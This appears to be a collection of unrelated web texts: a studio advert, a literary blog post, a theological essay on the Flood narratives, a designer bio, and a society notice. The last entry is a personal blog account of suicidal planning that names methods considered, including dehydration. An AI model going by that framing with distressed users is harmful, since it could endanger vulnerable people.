text:
The Premier Performing Arts Studio in Southlake
The Epicenter for the Arts is the finest performing arts studio in Southlake, TX. We are a studio that specializes in dance classes, music lessons, acting classes, and art instruction. Epicenter for the Arts is Christian owned and operated, and is committed to achieving excellence in all the classes we offer – music, dance, acting and art. We believe in strong technique, and our dance instructors, acting coaches, music instructors and art teachers have been honing their skills professionally for many years. We are home to Dance Revolution, hosting a series of Christian dance conventions around the nation, and the Ingredients Professional Training Program, providing Christian based instruction in all modes of dance, character development, and leadership. Students in our dance classes, music classes, and acting classes will have multiple performance opportunities as part of our Epi Company as well as travel opportunities for our Pre and Epi Pro Company! Sign up now to see your music, dance, acting or art student achieve excellence from the inside out by participating in one of the many classes we offer!
- Ballet Classes
- Contemporary Dance Classes
- Lyrical Dance Classes
- Jazz Dance Classes
Dance Classes
- Hip Hop Dance Classes
- All Boys Hip Hop Classes
- Modern Dance Classes
- Core Dance Fundamentals
- Dance Technique, Turns and Tricks
- Adult Dance Classes
- Home School Dance Classes
- Classes for Mini's age three and up
- Voice Lessons
- Guitar Lessons
- Piano Lessons
Music Lessons
- Script Writing Classes
- Acting Classes
- Musical Theater Classes
- Advanced Acting Classes
Acting Classes
- Sketching
- Drawing
- Painting
- Sculpting
Art Class, including
If you are in Southlake, TX or any of the surrounding areas, we invite you to join us at Epicenter for the Arts for the best in performing arts instruction!


text:
Levi Stahl has reminded me of D.J. Enright's death eight years ago today, New Year's Eve, at age eighty-two. His was among the deaths early in the new century that accelerated our literary culture's rendezvous with enfeeblement. On the cusp of the New Year let's remember Guy Davenport, Saul Bellow, Anthony Hecht, Penelope Fitzgerald, Czeslaw Milosz, Edgar Bowers, W.G. Sebald, R.S. Thomas, William Maxwell, C.H. Sisson, Donald Justice and Thom Gunn – all gone in a bleak span of less than five years.
I'm reminded of a story Boswell tells in his Life of Johnson. It was April 20, 1781. David Garrick's widow was hosting her first party since the death of her husband, the actor and friend to both Johnson and Boswell, more than two years earlier. In attendance were others from the Johnson Circle -- Sir Joshua Reynolds, Mrs. Boscawen, Mrs. Elizabeth Carter and Dr. Burney. Boswell describes the widow's grief as "sincere as wounded affection and admiration could produce," but adds the company was "elegantly entertained." He writes of the gathering:
"I spent with him [Johnson] one of the happiest days that I remember to have enjoyed in the whole course of my life."
And adds:
"We were all in fine spirits [perhaps enhanced by the consumption of "Lichfield ale, which had a peculiar appropriate value," Lichfield being Johnson's birthplace and Garrick's childhood home]; and I whispered to Mrs. Boscawen, `I believe this is as much as can be made of life.'"
What a happy celebration of a dear friend's memory. That's how I choose to remember Enright and his departed coevals in literature. No ostentatious mourning, only the spirit of what Enright says in an early poem, "Stop that clowning at once, if not sooner":
"Giggling on the edge of a precipice –
Shameful! They'll think you haven't noticed it.
Or worse, that you're the sort of person
for whom abysses don't exist,
being one coarse-grained vacant space yourself…
"For the time needs –
stop giggling on the brink of precipices
while I'm talking to you –
heavyweight intellects, sober serious men.
"`Unfortunately it gets them,'
Giggling on the verge of nothing.
`Here's a profound hole, yet no deeper than a coffin.'
Hoping that not too many (even that he may not) fall into it,
Wagging his arms and legs, and hoping…"
Friday, December 31, 2010
`As Much as Can Be Made of Life'
Posted by Patrick Kurp at 2:01 AM
No comments:
Subscribe to: Post Comments (Atom)

subset: commoncrawl


text:
Biblical scholars over the past century (both Christian and Jewish) have long recognized some kind of connection between the Flood of Genesis 6-8 and the Atrahasis and Gilgamesh Epics, the two pieces of ANE mythology most widely considered.
Encountering Mythology: A Case Study from the Flood Narratives
posted 15 September, 2019
reproduced from Confronting Critical Issues
Believers today are facing a dilemma. Your average evangelical Christian is bombarded with information and perspectives, which a short ten years ago were not necessarily present in significant numbers in the religious world.[1] With the continuing expansion of the Internet, cable television, and even printed media, Christians are having to consider points of view regarding well-cherished accounts in the Tanach or Old Testament which they have never really had to consider before. While parallels between the Bible and Ancient Near Eastern (ANE) mythology have always been discussed in academic circles, or have been considered by that reference book collecting dust that one never reads, your average layperson is now having to consider these things by simply watching the History Channel or picking up a magazine at Barnes & Noble.[2] The answer to us as people of faith cannot be to hide ourselves under the proverbial bushel,[3] act as though the enemy has simply perverted God's "Truth" with a capital T, and be isolated from any criticism of our faith. On the contrary, the Apostle Paul says to "test everything; hold fast what is good" (1 Thessalonians 5:21). We are required to engage with arguments that (may) attempt to rip apart the Bible's message for our lives, and consider them with a discernment that will hopefully enable us to be more effective in the Lord's service. The evangelical world is now having to deal with issues that have remained closed to the world of scholasticism—which means that the Messianic community is not that far behind.
One of the most important Tanach narratives that deserves the attention of today's Believers—particularly as it is employed later in the Apostolic Scriptures or New Testament[4]—is the Flood of Genesis 6-8. Just after God made His Creation, Adam and Eve fall into sin, and the Book of Genesis depicts "that [eventually] every imagination of the thoughts of his [man's] heart was only evil continually" (Genesis 6:5).[5] The Lord has to send a devastating flood to wipe out what He had made (Genesis 6:7), save Noah who "found favor in the eyes of the LORD" (Genesis 6:8). We all know the story too well—as only Noah, his family, and two of every animal were spared. But what many do not know is that there are other Ancient Near Eastern accounts which portray a significant flood, somehow inflicting damage on the world—that may or may not parallel what we see in Genesis. What we are to do with these accounts, the role that they play in relationship to Genesis 6-8, and what they mean have baffled many interpreters. Some believe that the ANE myths appeared first, and were later adapted by the Ancient Hebrews in the compilation of the Torah. Others believe that the ANE myths are distorted forms of the true Biblical account. And others, not surprisingly, are confused and do not know what to believe, avoiding the subject altogether.
Evangelical scholarship is just now having to catch up in its engagement with ANE mythology and the Bible, and no person needs to be uninformed or ignorant any more. This is especially true of a Messianic movement that claims our Heavenly Father is in the process of restoring the Torah to His people, yet is often ignorant of arguments against its trustworthiness that have been around since the mid-Nineteenth Century.
What is the debate over the Flood?
It can come as quite a shock to some of your average Bible readers to encounter a statement like, "The Biblical account is superficially similar to the Babylonian Gilgamesh Epic."[6] Most people do not know what to do about this suggestion, and having to answer possible questions that come forth from it is a significant reason why many Christian pastors have been reluctant to teach on the (early) Old Testament. If not addressed appropriately by a pastor or Bible teacher, it can shake the faith of the naïve. It is not proper for today's Body of Messiah to avoid a significant part of the Bible because leaders are unprepared, or even unable—or worse yet unwilling—to answer the difficult questions of those they must serve. We must be engaged with the discussion! The Messianic movement has emerged because people want to engage with the Torah and Tanach, but even we (at least on the whole) are significantly unprepared today to dialogue with the arguments levied against these Scriptures.
Biblical scholars over the past century (both Christian and Jewish) have long recognized some kind of connection between the Flood of Genesis 6-8 and the Atrahasis and Gilgamesh Epics, the two pieces of ANE mythology most widely considered. Atrahasis "contains an account of the creation of humankind and the flood,"[7] whereas Gilgamesh just concerns a flood. How much of a connection there is between these stories and the Biblical account, however, can be debated.
Many will simply claim that Atrahasis, Gilgamesh, and any other ANE accounts are distortions (or even perversions) of the (true) Flood story seen in Scripture. Others, such as John Goldingay, will assert that there are important connections between these not just in Genesis but elsewhere: "In Atrahasis, the noise humanity makes disturbs the gods and provokes their wrath. In Exodus it provokes God's intervention on their behalf."[8] Still, a third way of looking at this may be proposed by Umberto Cassuto in his defense of Mosaic authorship of the Pentateuch. He says, "before the Torah was written, numerous traditions relating to the beginning of the world's history and the earliest generations" "were undoubtedly current among the Israelites," referring to a Rabbinic view that the Ancient Israelites possessed scrolls of historical information while in Egypt.[9] From his point of view, this data had to be sifted through and considered when the Torah was being composed.
While complicated arguments will be put forward by both liberals and conservatives, the "Which came first…" question simply lacks its following clause: "the chicken or the egg?" It seems clear enough that the information for the Flood account, whether seen in the Biblical tradition or in ANE mythology, certainly dates from sometime during the Second or Third Millenniums B.C.E. Both what we see in Genesis 6-8, as well as in Atrahasis and Gilgamesh, portray people being killed by a flood of water. Yet the real question is not which came first, but which conveys the unique message? Which of the dueling stories has "the edge"? It is only when an interpreter can see the differences between these accounts, that he or she can decide which is more authentic. If today's pastor or Bible teacher can understand how to focus the layperson on the differing messages of the Scriptural account versus the ANE accounts, then this should be able to strengthen the faith of others, rather than getting people to doubt God's Word. The purpose of what a good pastor or teacher does is to get those he or she cares for to know "The LORD is our God, the LORD alone" (Deuteronomy 6:4, NRSV).
What does Genesis 6-8 say?
Many people who are confused by the debate between the Bible and ANE mythology are sadly not that familiar with what the Scriptural account actually communicates. And, this can be then compounded by pastors whose teachings and sermons are so focused on the New Testament that they may not have read Genesis for a long time. Getting a big picture view of the Flood narrative of Genesis 6-8 is imperative, so we can then compare and contrast its message to any paralleling stories.
The narrative begins by describing the corruption brought by a group known as the Nephilim (Genesis 6:1-4). While there is endless debate over who these were, ranging from powerful men to fallen angels, the point of the text is that "The LORD saw how great was man's wickedness on earth, and how every plan devised by his mind was nothing but evil all the time" (Genesis 6:5, NJPS). Seeing that kol-yetzer machshevot l'bo raq ra, "all purpose (of) thoughts his heart only evil" (my translation), "the LORD was sorry that he had made man on the earth, and it grieved him to his heart" (Genesis 6:6). What He had previously decreed as tov meod or "very good" (Genesis 1:31), had now been utterly corrupted by sin, and so God says "I will blot out man whom I have created from the face of the ground" (Genesis 6:7a). For whatever reason, God's judgment would also be severe enough to involve not only humans, but also "beast and creeping things and birds of the air" (Genesis 6:7b), which presumably had, or at least could have been corrupted, by human evil as well. But not all would be judged, as "Noah found grace[10] in the eyes of the LORD" (Genesis 6:9, KJV).
It is from this point that Noah is instructed why he must build the ark that will contain the survivors from the coming catastrophe: "the earth was corrupt in God's sight, and the earth was filled with violence [lawlessness, NJPS]" (Genesis 6:11). God gives him the specifications and dimensions that He wants this ark to be (Genesis 6:14-16) and how animals were to be collected (Genesis 6:19-21). The main reason that Noah, and by extension his family, is preserved, is ki-otkha ra'iti tzadik l'fnai: "because you are righteous before me" (Genesis 7:1). The narrative then details how great rains would come for seven days (Genesis 7:4, 11-23), and how Noah obeyed the instructions given to him (Genesis 7:5) being the only survivor (Genesis 7:23b). After a period of time, the rains stopped and the floodwaters receded enough for the ark Noah had built to come to rest "upon the mountains of Ararat" (Genesis 8:4). The judgment of wiping out the corruption had been completed, and Noah and his family are given the task of repopulating what God had destroyed (Genesis 8:13-19). Noah thanks God for His faithfulness toward him by building an altar and offering sacrifices (Genesis 8:20-21).
This is by no means a detailed summary of the Genesis Flood account, but what it does is beg the question of why God had to send it. Many when first reading Genesis 6-8 try to immediately ask the questions of how the Flood took place, attempting to find the empirical evidence that it occurred, tallying how many animal species were actually on the Ark, or even trying to find where Noah's Ark itself may be in modern-day Turkey. Sadly, the most significant engagement many have had with this issue has been with a felt-board and stuffed animals in Sunday school, and many are unable to understand what Noah's Flood actually teaches us. The narrative of the Noadic Flood in Genesis is not about some teddy bear story, nor is it to give any of us a geology lesson. The Flood account of Genesis is to present us with the first theology of judgment that we see in Scripture.
Conservatives are divided whether the Flood of Genesis 6-8 was a worldwide flood, or a regional flood—but such debates should only be considered after the actual questions that the text asks are answered. Genesis 6:17 says that God sent the Flood al-ha'eretz or "upon the earth/land," and kol-basar asher-bo ruach chayim mi'tachat ha'shamayim, "all flesh that in it (has) breath (of) life from under the heavens" (my translation). What this might mean is open to diverse views, considering the fact that later, when Joseph is serving the Egyptian Pharaoh in Genesis 41:56, a famine struck al kol-pnei ha'eretz or "all the face of the earth" (NASU), which the text clearly indicates to be regional to the Ancient Near East. When we consider this, certainly from the perspective of those who participated in the Flood of Genesis 6-8, it was "worldwide" encompassing the world that they knew. The stress point of the Apostle Peter is that in the Flood it was eight human beings saved from a disaster that affected all of humanity (1 Peter 3:20; 2 Peter 2:5).[11]
Walter C. Kaiser is right to conclude, "The point is that Scripture is anxious only to teach that it was God's judgment on all mortals living on earth except the eight on the ark. On the other matters we must await more information."[12] As it is said very clearly from the outset: "the wickedness of humankind was great in the earth" (Genesis 6:5, NRSV), and "the LORD regretted that He had made man on earth" (Genesis 6:6, NJPS), with the verb nacham possibly meaning "to become remorseful" (Nifal, HALOT).[13] There is no indication anywhere in Genesis 6-8 that God wanted to send the Flood. Yet, because Noah is designated as the only person with any righteousness, He had no choice but to do it. Genesis 6:6 candidly says "He was grieved in His heart" (NASU). John H. Sailhamer reminds us,
"By making God the subject of the verbs in v.6, the author has shown that the grief and pain of man's sin was not something that only man felt. God himself was grieved over man's sin (v.7)."[14]
Indeed, each of us should be reminded that the Flood sent by God in Genesis 6-8 was ultimately humanity's own doing. While God is the agent of judgment, it was people falling into perverse activities that required Him to judge. This is why 2 Peter 2:5 can assert, "he brought a flood upon the world of the ungodly."[15]
What does the Epic of Gilgamesh say?
The tablets of the Epic of Gilgamesh were discovered by British archaeologist A.H. Laynard between 1845-1851 in an excavation around the city of Nineveh, being sent to the British Museum for examination. George Smith produced a translation of these tablets in 1872, and published them in a report called the "Chaldean Account of the Deluge." Archaeologists often date the composition of the Epic of Gilgamesh anywhere from between 2000-1800 B.C.E.[16] This pre-dates the composition of the Pentateuch (if one accepts any kind of Mosaic authorship) by at least 300 years, presumably making these traditions present during the lifetime of Abraham. Many advocates of the JEDP documentary hypothesis[17] have considered the Mesopotamian stories to possibly be the sources behind our canonical account seen in Genesis 6-8.
While the overall story of the protagonist is portrayed as a warrior on a journey, the flood narrative of the Epic of Gilgamesh is what clearly stands out to anyone who reads it with a cursory knowledge of the Bible. This narrative opens with the gods complaining that the uproar of humankind is too loud for them to sleep: "'The uproar of mankind is intolerable and sleep is no longer possible by reason of the babel.' So the gods agreed to exterminate mankind."[18] The protagonist in the story is warned in a dream by the god Ea to build a bark from his house, which will be sure to save him in the midst of the disaster that is coming. Specifically, he is told "take up into the boat the seed of all living creatures."[19] The boat is then built, and the protagonist along with family and close friends load up themselves along with a great number of livestock. A great torrent of water is then unleashed from the gods: "Nergal pulled out the dams of the nether waters, Ninurta the war-lord threw down the dykes, and the seven judges of hell, the Annunaki, raised their torches, lighting the land with their livid flame. A stupor of despair went up to heaven when the god of the storm turned daylight to darkness, when he smashed the land like a cup."[20]
The consequences of this flood are actually interesting to read. It is said, "Even the gods were terrified at the flood, they fled to the highest heaven, the firmament of Anu; they crouched against the walls, cowering like curs."[21] The goddess Ishtar, in fact, relents over the decision to destroy humanity: "Alas the days of old are turned to dust because I commanded evil; why did I command this evil in the council of all the gods? I commanded wars to destroy the people, but are they not my people, for I brought them forth? Now like the spawn of fish they float in the ocean."[22] Such a dilemma is shared by the other gods: "The great gods of heaven and hell wept, they covered their mouths."[23] Having acted on a whim, the gods are now distraught at what they had done.
Areas of agreement and disagreement
Without going any further, an objective person can see some parallels between the Biblical Flood in Genesis 6-8, and this Mesopotamian account. Both involve the intention to eliminate humans via water. Both involve some kind of large boat on which the protagonist will place his family, animals, and supplies. Both involve widescale death and ecological devastation. And, both involve some kind of regret by the deity/deities afterwards. Gordon J. Wenham indicates, "there are remarkable similarities between the Mesopotamian and biblical accounts of the flood, so close in some cases that it has been alleged that the biblical tale is based on the Mesopotamian."[24] And, a lay interpreter with no more information, or a pastor who is unfamiliar with this and can not answer direct questions, could now possibly decide that his or her Bible is based on repackaged ANE mythology and is thus untrustworthy.
It is actually not in the areas of building some kind of boat, collecting animals, or large torrents of water that sets apart Genesis 6-8 from the Epic of Gilgamesh. The reason that the Genesis 6-8 account is unique is found in the why of the Flood. In the Epic of Gilgamesh, we specifically see that the reason the gods devastate the world is because it has gotten too loud and boisterous for them to sleep. "[T]he original intention of the gods was to decimate the numbers of humankind so as to reduce the noise level (whatever the noise represents). When those strategies fail to produce the desired result, the flood is sent to destroy humanity completely."[25] The gods are portrayed as being those who act exactly like the impulsive human beings that are annoying them, and without thought they make a decision to wipe them all out to silence a distraction. The flood in the Epic of Gilgamesh is sent to wipe out an infestation, no different than how an anthill or a basement infested by rats would be visited by an exterminator. Wenham asserts that there is a "monotheistic moralism [in Genesis] that informs the biblical narrative over against the caprice, self-interest, and weakness of the Mesopotamian gods and goddesses."[26] In Genesis, the Lord is clearly in control of His faculties.
The reason for the Biblical Flood is clearly stated as being the constant evil of human beings (Genesis 6:5), and God does not by any means act as though He wants to judge them (Genesis 6:6). Genesis 6:11 is quite specific: timalei ha'aretz chamas, with Nahum M. Sarna remarking, "From the divine enactments for the regulation of society after the Flood, detailed in chapter 9, it may be deduced that ḥamas here refers predominantly to the arrogant disregard for the sanctity and inviolability of human life."[27] The problem that God has with humanity is not that it is noisy or loud; the problem is that it has gotten out of control and is engulfed in gross evil, with people likely showing great harm toward one another (cf. Genesis 9:6). God's very nature as a perfect, everlasting, and just Creator demands that He do something about sin when it is present in His world. God's "flood is portrayed as an act of justice"[28] that is well-deserved for the offenders—toward whom He has been rather forbearing—rather than as the indiscriminate act of rashness as displayed by the Mesopotamian gods. The God who sends the Flood in Genesis sends it with a distinct purpose, ultimately to save those few of humanity who are still loyal and faithful to Him. The gods and goddesses of Mesopotamia just want to sleep, yet the Lord is One who "will neither slumber nor sleep" (Psalm 121:4).
To place this all in proper balance, though, while the God of the Genesis Flood acts differently than the gods and goddesses of Gilgamesh, not being impulsive, that is not to say that He is completely different from His human creatures. Goldingay validly reminds us, "The First Testament's understanding of God distances itself in some ways from that of other Middle Eastern peoples, yet it resists the temptation to ricochet too far from the later. We are persons like God, and therefore God can be portrayed as a person like us."[29] However, when the gods and goddesses unleash the torrents of water in Gilgamesh, they are severely frightened at what they have done, perhaps thinking that even they (as immortal beings!) will be engulfed by the water. In Genesis, God as Creator demonstrates no such fear over the water, as He entirely controls it for His distinct purpose. Yet, when the incident is over, He is sure to promise Noah, "I establish my covenant with you, that never again shall all flesh be cut off by the waters of a flood, and never again shall there be a flood to destroy the earth" (Genesis 9:11).
How is Genesis 6-8 unique?
It is undeniable that one of the reasons why many of today's pastors and Bible teachers do not want to teach about the Flood of Genesis 6-8 is precisely because it is a scene that invokes a great deal of negative imagery. We are not specifically told all of the kinds of sins that were committed to provoke the Flood; we are only told that the Flood was sent to stop it. When a person's engagement with the Flood has been colored by early childhood activities from Sunday school, it can be difficult to see the whys of the Flood, especially when issues like judgment or punishment of sin are never popular sermon topics. Yet, it is clear that Genesis 6-8 teaches us some important things about the character of God, the value that He places on the righteous, and the decisive nature of His judgment versus other gods who are portrayed as irrational. Who do we consider God to be? A ravaging maniac who wants to snuff out His creatures as a cosmic "Orkin man"? Or, one who cannot allow those who are truly loyal to Him to endure the hardship of having to be surrounded by evil?
The Flood and the Apostolic Scriptures
The Apostolic Scriptures (New Testament) regard the themes communicated by the Flood to be very serious, as it certainly does not shy away from considering the justice of God enacted upon evil. Yeshua describes the period before the Flood to be similar to the time before His return, saying "They ate, they drank, they married, they were given in marriage, until the day when Noah entered the ark, and the flood came and destroyed them all" (Luke 17:27). Here, the emphasis of the Flood is not placed on any kind of geology or how large the Flood was, but instead only on the people who were judged. In a similar way, those who go on with their daily lives without any concern for the justice of God, will likewise be caught unaware and consumed at the Second Coming. As our Lord says, "For the coming of the Son of Man will be just like the days of Noah" (Matthew 24:37, NASU). While Yeshua could be reflecting on some opinions of the days before the Flood contemporary to the First Century, the analogy is one that need not be ignored: God's judgment will come suddenly to the unrighteous.
The Apostle Peter reflects on the importance of the Flood, asserting that "God's patience waited in the days of Noah, during the building of the ark, in which a few, that is, eight persons, were saved through water" (1 Peter 3:20). This makrothumia or "longsuffering" (KJV) is not given any length of time—that is, between humanity's gross evil and God's intention to judge it—but in comparison to how long the Mesopotamian gods and goddesses waited to wipe out humanity, the character of the Lord should definitely stand out. While nothing is stated in Genesis to this effect, Noah is somehow considered to be "a herald of righteousness" (2 Peter 2:5). It may be doubtful that he was a "preacher" (NASU)[30] in the contemporary definition of the term, but his proper behavior certainly made him different than his neighbors, thus being a model for us to emulate.
The author of Hebrews also considers Noah to be a very important figure, telling us "By faith Noah, being warned by God concerning events as yet unseen, took heed and constructed an ark for the saving of his household; by this he condemned the world and became an heir of the righteousness which comes by faith" (Hebrews 11:17). He considers Noah's act of obedience to God's instruction to build the ark to actually be an act of faith, presumably connecting it to Noah being a man found righteous by Him (Genesis 6:9). Noah was told by God about the Flood that was coming, yet he probably did not understand what it was all about, nor how it was going to come about. (And ironically enough, people who read Genesis are still hard-pressed to decide how it came about.)
As Believers, the Flood of Genesis 6-8 not only forms an important part of the primeval Biblical history, but it also tells us important things about the worldview of Yeshua the Messiah and His early followers. While it is certainly important to read the Flood narrative, and ask appropriate questions concerning why God sent the Flood and how the Genesis account differs from others seen in the ANE, it is also important for every Believer to know how the Genesis Flood is appropriated in the Apostolic Scriptures. From what we can see, it adds further dimensions for us understanding God's forbearance in judging sin, how such judgment will come unaware for those who are not alert, and also how Noah can be a definitive example of faith for us to follow. In a world (or even community of faith) that has largely forgotten the reality of sin—the Genesis 6-8 Flood is not something that pastors and Bible teachers should shy away from! If we want people to actually turn toward the Lord in repentance, the themes of Genesis 6-8 should form an integral part of the overall gospel experience.
How do we approach issues like this in the future?
Avoiding the issue of the Genesis Flood, and not answering some of the (difficult) questions posed by people today, will not bode well for the Christian pastor who wants to make a difference for the Lord. It will certainly not bode well for the Messianic congregational leader whose teachings are primarily focused on the weekly Torah portion, yet who is unwilling to consider the Pentateuch against the world in which its events occurred. We need to be men and women—whether clergy or laity—who are informed about the similarities and differences of ANE mythology and the Scriptural record. When we do this, we often find that the Bible has a significantly different message than the competing accounts. Scripture often has a very targeted message that will teach us important things about the character of God, so when compared to the ancient gods or goddesses, reveal Him to be One who we can indeed trust.
The comparison between mythology and the Bible neither begins nor ends with the Genesis Flood; the Flood just happens to be one that a person may easily encounter. When we can adequately address all of the theological reasons surrounding something like the Flood, questions of where the story originated in history will inevitably arise. How we treat the Flood story with some level of integrity is certainly important for us to consider. If we believe that the Bible has some degree of reliability, and that supernatural events really do take place, then there are surely some logical and reasonable answers to how the Flood took place in the history of Planet Earth. But when we do investigate these things, the message of the Flood for us should remain paramount.
Should one choose to completely abandon that the Flood of Genesis took place—whether global, regional, or otherwise—and consider it to be repackaged mythology, what other accounts in Scripture could be repackaged mythology? How far does a responsible Bible teacher, minister, or even Messianic rabbi take this? Is it at all possible that five centuries before the birth of the Messiah that the Greek playright Aeschylus set the stage for the Gospels, by formulating his production of Prometheus Bound, a play that speaks of a god bringing fire to humanity and then being chained to a rock by Zeus as punishment?[31] Prometheus later and dramatically arises, being vindicated and standing as the champion for the mortals he tried to help.[32] How far we go with connections between mythology and the Bible can be a slippery slope if we are not careful, and it surely will involve the spiritual discernment and tact of our leaders and teachers in the future. Simply because one may have been presented with a simplistic, somewhat fundamental view of the Genesis Flood as an adolescent, should give no one a license to then blatantly disregard it all as repackaged and deceptive mythology in later life. For how are we to be consistent with this standard throughout the rest of the Bible? Do we later deny Yeshua the Messiah as the Savior of the world?[33] We have to be very careful, as the most strident liberal theologians often never started out as being liberal at all. Instead, they started out as those who blindly accepted the Bible's message, but were then led astray when hearing criticism against it.
Challenges do await today's generation of Christian leaders that were not as pressing as they were for leaders of the past—and further and more complex challenges await leaders and teachers in the emerging Messianic movement. Whereas in the past, differing views of the Genesis Flood were perhaps relegated to theological books that no one read, today with the easy access of information things have significantly changed. No longer can pastors or teachers wait until the last minute to write their sermons (much less first encountering the Biblical text when getting up to speak in the pulpit). No more can any teacher leading a Bible study afford to remain uninformed. Each of us must be on top of our game, and be able to answer as many questions as possible.
Those of us who are called as teachers must each learn what Ezra learned: "For Ezra had dedicated himself to study the Teaching of the LORD so as to observe it, and to teach laws and rules to Israel" (Ezra 7:10, NJPS). We need not avoid controversial issues in the Tanach such as the Flood any longer, but learn to emphasize, as Sarna does, "the Flood story of the Torah stands out as an authentic, original expression of the religious genius of Israel. Conceptually, spiritually, and morally, it stands in striking contrast to all other versions."[34] The Flood of Genesis 6-8 is supposed to instruct all Believers in the importance of righteousness—now even more important that Yeshua has come—and God's targeted judgment of those who are unfaithful. We have much to learn from God's revelation to us in the Tanach, and it may often hold the missing keys to us understanding the Messiah's message to us in a fuller and more meaningful way.
[1] Unless otherwise noted, Biblical quotations in this article are from the Revised Standard Version (RSV).
[2] Or worse yet, by going to an ever-changing and grossly unreliable source like Wikipedia!
[3] Cf. Matthew 5:15; Mark 4:21; Luke 11:33.
[4] Matthew 24:37f; Luke 3:36; 17:26f; 1 Peter 3:20; 2 Peter 2:5.
[5] How long or how quickly this took place in actual time can only be a matter of chronological speculation, hence I have placed "eventually" in brackets.
[6] Bernhard W. Anderson, "Genesis," in Herbert G. May and Bruce M. Metzger, eds., The New Oxford Annotated Bible With the Apocrypha, RSV (New York: Oxford University Press, 1977), 8.
[7] J.H. Walton, "Flood," in Dictionary of the Old Testament Pentateuch, 315.
[8] John Goldingay, Old Testament Theology: Israel's Gospel (Downers Grove, IL: InterVarsity, 2003), 301.
[9] Umberto Cassuto, The Documentary Hypothesis and the Composition of the Pentateuch (Jerusalem: Shalem Press, 2006), pp 121, 122.
[10] Heb. chen; Grk. LXX charis.
[11] For a further examination of this debate, consult Hugh Ross, The Genesis Question: Scientific Advances and the Accuracy of Genesis, second expanded edition (Colorado Springs: NavPress, 2001), pp 139-172.
[12] Walter C. Kaiser, Peter H. Davids, F.F. Bruce, Manfred T. Branch, Hard Sayings of the Bible (Downers Grove, IL: InterVarsity, 1996), pp 113-114.
[14] John C. Sailhamer, "Genesis," in Frank E. Gaebelein, ed. et. al., Expositor's Bible Commentary (Grand Rapids: Zondervan, 1990), 2:81.
[15] Grk. kosmō asebōn; the emphasis seen in the genitive asebōn is "the world of ungodly people" (NLT).
[16] Sandars, The Epic of Gilgamesh, pp 9-10.
[17] For a review, consult the entries for the Pentateuchal books (Genesis, Exodus, Leviticus, Numbers, Deuteronomy) in the author's workbook A Survey of the Tanach for the Practical Messianic.
[18] Sandars, The Epic of Gilgamesh, 108.
[19] Ibid.
[20] Ibid., 110.
[21] Ibid.
[22] Ibid.
[23] Ibid, 111.
[24] Gordon J. Wenham, "Genesis," in ECB, 43.
[25] Walton, "Flood," in Dictionary of the Old Testament Pentateuch, 319.
[26] Wenham, in ECB, 43.
[27] Sarna, Genesis, 51.
[28] Walton, "Flood," in Dictionary of the Old Testament Pentateuch, 319.
[29] Goldingay, 176.
[30] Grk. kērux.
[31] Prometheus Bound and Other Plays, pp 20-21.
[32] Ibid., 52.
[33] For a further discussion, consult Chapter 7, "Is the Story of Yeshua Pagan?"
[34] Sarna, Genesis, 49.


text:
Legrand Jäger is a design practice based between Berlin and London. Guillemette Legrand (FR, Berlin-based) and Eva Jäger (US, London-based) graduated together from Design Academy Eindhoven's Contextual Design MA and have continued to interrogate culture with their research-driven, critical design practice that investigates how the designed world, especially new technology, is shaping ethics. Their film, performance, soundscapes and objects have been shown across Europe in museums including Palais de Tokyo and Van Abbe Museum. They are currently designers in residence at the Design Museum London focusing on Dwelling through the lens of the smart home device.
Back to contributors


text:
Celebrity Lecture
On Saturday 7th October 2017 we are looking forward to welcoming Anna Pavord as our guest speaker. We would like to offer an invitation to members of other local horticultural groups to join us for this occasion but before we do so we want to make sure that our own members who wish to bring a guest are able to do so.
For this lecture visitor tickets will be £8 and will be on sale at the April meeting.
Alternatively you could send a cheque for £8 per ticket made payable to Hertfordshire Hardy Plant Society, together with a SAE to Alison King, 2,Salisbury Ave, St Albans, AL1 4UA.
Posted on March 16, 2017, in News 2017. Bookmark the permalink. 4 Comments.
What is the title of the lecture, please. Thank you. Elizabeth Richardson
I think the date for the next meeting is 1st April, not 7th


text:
This last week I descended into the most severe anxiety-induced depressive episode of my life. I've experienced two similar, though less severe, episodes since I began teaching. As I descended, I made a life altering choice. I want to explain this period and what I was going through. My goal is those who know me a closer look at what I experienced. A secondary goal of this post is to offer solidarity and to make a space for these kinds of feelings and discussions. We don't talk about this stuff enough, and a lot of us are suffering through feelings and impulses that we keep to ourselves.
[content warning: suicidal ideation]
If the content warning didn't give it away, let's just get this right out in the open: I spent Monday through Thursday of this last week resolving to, then planning to, then preparing to kill myself. I've dealt with suicidal impulses ever since adolescence. This is a part of me. Sometimes the impulse will hit me right in the middle of a great day in a period where I've felt content for weeks. It's not triggered by anxiety or depression, at least not anymore. I've done a lot of work with the support of my therapist to understand the impulse and to weaken it.
Over the last couple of weeks, though, my defenses had been eroded by more and more severe panic attacks starting in the morning and sometimes continuing all day long. This has been my experience since I started teaching, and so I didn't really think anything of it. I just told myself to get through the day so that I could get to the end of the school year.
Last weekend did not provide relief like time off usually does. The anxiety persisted as a buzzing in my knuckles, a tightness in my chest, and a dull ache in my head. Over the weekend the suicidal thoughts surfaced. They were not thoughts about how I wanted to or should kill myself, but rather about the different ways that I could.
I went to bed anxious Sunday night, and woke up with the anxiety Monday morning. At that point a depression had settled in. I had no energy. I had to force myself through a well-practiced morning routine. I kept finding myself just stuck, staring. As I was putting on my shoes to leave the house, I ended up just sitting, staring for a couple of minutes. I had to keep refocusing to drive myself forward. At the end of that day was a regularly scheduled game night with some friends that I so very badly wanted to back out of.
When I got home that night, I was exhausted from pushing myself through the day. Tuesday morning came. I was disappointed. At this point, a narrative was starting to take shape in my mind. I always end up here: depressed and wanting to kill myself. Why fight just to end up back here?
I do not remember getting to school on Tuesday. I had trouble engaging with anyone. At one point the school counselor came in and told me that a student would like to have lunch in my room. I said that was fine. The counselor left and I began to sob. I felt weak for not being strong enough to endure for these students who felt connected to me. I spent most of my prep time looking up information about suicide methods. I dug through the chemicals that came with my science curriculum. There wasn't a sufficient quantity of anything to do more than make me ill.
Over the weekend, one of the ideas that had occurred to me was dehydration. I looked it up. I found a lot of information about dying by refusing water and food, all aimed at death with dignity, end of life patients. That would be perfect. It wouldn't be immediate, so I could have some time to make arrangements, to go out the way I want to.
I was not mentally present on Tuesday. I remember the end of the day and thinking about what I needed to take home. It occurred to me that it didn't matter. I wasn't coming back; I had decided during the day that I wasn't going to spend my last days suffering through the misery that I felt teaching each day. I grabbed my teaching journal and left everything else, feeling no attachment to any of my possessions.
Somewhere along the lines Tuesday night, I made plans for Emily to come over on Wednesday. It wasn't ideal, but it was going to be the last chance for me to see her for a while, and I didn't want to wait. I also had standing plans for Nicole to stay the night with me on Wednesdays, so it was going to be socially busy.
